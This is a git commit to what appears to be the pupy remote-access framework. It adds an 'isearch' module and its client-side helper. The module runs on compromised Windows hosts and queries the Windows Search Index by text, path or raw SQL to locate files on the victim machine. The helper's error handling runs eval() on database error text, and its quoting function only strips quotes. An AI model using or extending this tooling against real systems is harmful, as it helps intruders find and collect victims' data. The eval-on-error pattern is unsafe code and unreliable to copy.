Add isearch module

This commit is contained in:
Oleksii Shevchuk 2018-10-03 16:33:34 +03:00
parent 8de4ff940a
commit 9593b71df0
2 changed files with 150 additions and 0 deletions

103
pupy/modules/isearch.py Normal file
View File

@ -0,0 +1,103 @@
# -*- encoding: utf-8 -*-
from pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupylib.PupyOutput import Table
from argparse import REMAINDER
from datetime import datetime
__class_name__='IndexSearchModule'
# ZOMG Kill me please
def escape(x):
if "'" in x:
x = x.replace("'", "")
return "'" + x + "'"
@config(cat='gather', compat='windows')
class IndexSearchModule(PupyModule):
''' Use Windows Search Index to search for data '''
dependencies = [
'win32com', 'win32api', 'winerror',
'numbers', 'decimal', 'adodbapi', 'isearch'
]
@classmethod
def init_argparse(cls):
cls.arg_parser = PupyArgumentParser(prog='isearch', description=cls.__doc__)
cls.arg_parser.add_argument(
'-L', '--limit', type=int, help='Limit records (default 50)',
default=50)
cls.arg_parser.add_argument('-v', '--verbose', action='store_true',
default=False, help='Show SQL query')
cls.arg_parser.add_argument('-t', '--text', help='Text to search')
cls.arg_parser.add_argument('-p', '--path', help='Path to search')
cls.arg_parser.add_argument('-d', '--directory', help='Directory to limit output')
cls.arg_parser.add_argument(
'-R', '--raw', metavar='SELECT ... FROM SYSTEMINDEX ...',
nargs=REMAINDER, help='RAW SQL Query to search '\
'(https://docs.microsoft.com/en-us/windows/'\
'desktop/search/-search-3x-advancedquerysyntax)')
def run(self, args):
query = self.client.remote('isearch', 'query')
request = []
if args.raw:
request = args.raw
else:
request.append('SELECT TOP {} System.ItemUrl, System.Size, System.DateModified FROM SYSTEMINDEX'.format(args.limit))
where = []
if args.text:
where.append('FREETEXT({})'.format(escape(args.text)))
if args.directory:
where.append('SCOPE={}'.format(escape('file:'+args.directory)))
if args.path:
where.append('CONTAINS(System.FileName, {})'.format(escape(args.path)))
if where:
request.append('WHERE')
request.append('AND'.join(where))
request.append('ORDER BY System.DateModified DESC')
if not request:
self.error('You should specify request')
return
text = ' '.join(request)
if args.verbose:
self.info('QUERY: {}'.format(text))
idx, cidx, data, error = query(text, args.limit)
if error:
self.error(error)
elif not data:
self.warning('No data found')
else:
objects = []
header = []
legend = True
if args.raw:
legend = False
for record in data:
objects.append({
str(idx):v for idx,v in enumerate(record)
})
header = [
str(x) for x in xrange(cidx+1)
]
else:
header = ['File', 'Size', 'Modified']
for record in data:
objects.append({
'File': record[0][5:] if record[0].startswith('file:') else record[0],
'Size': record[1],
'Modified': datetime.fromtimestamp(record[2])
})
self.log(Table(objects, header, legend=legend))

View File

@ -0,0 +1,47 @@
# -*- encoding: utf-8 -*-
import adodbapi
import sys
import datetime
PROVIDER = 'provider=Search.CollatorDSO.1;EXTENDED?PROPERTIES="Application=Windows"'
def query(sql, limit):
data = []
error = None
idx = 0
cidx = 0
encoding = sys.getfilesystemencoding()
conn = adodbapi.connect(PROVIDER)
try:
cursor = conn.cursor()
cursor.execute(sql)
for idx, record in enumerate(cursor):
if idx >= limit:
break
line = []
for cidx, column in enumerate(record):
if type(column) == str:
column = column.decode(encoding)
elif type(column) == datetime.datetime:
column = int((
column - datetime.datetime.fromtimestamp(0)
).total_seconds())
line.append(column)
data.append(tuple(line))
except adodbapi.apibase.DatabaseError, e:
# ZOMG
parts = e.message.split('\n')
code = eval(parts[0])[1].decode(encoding)
error = '\n'.join(parts[1:]) + '\n' + code
finally:
conn.close()
return idx, cidx, data, error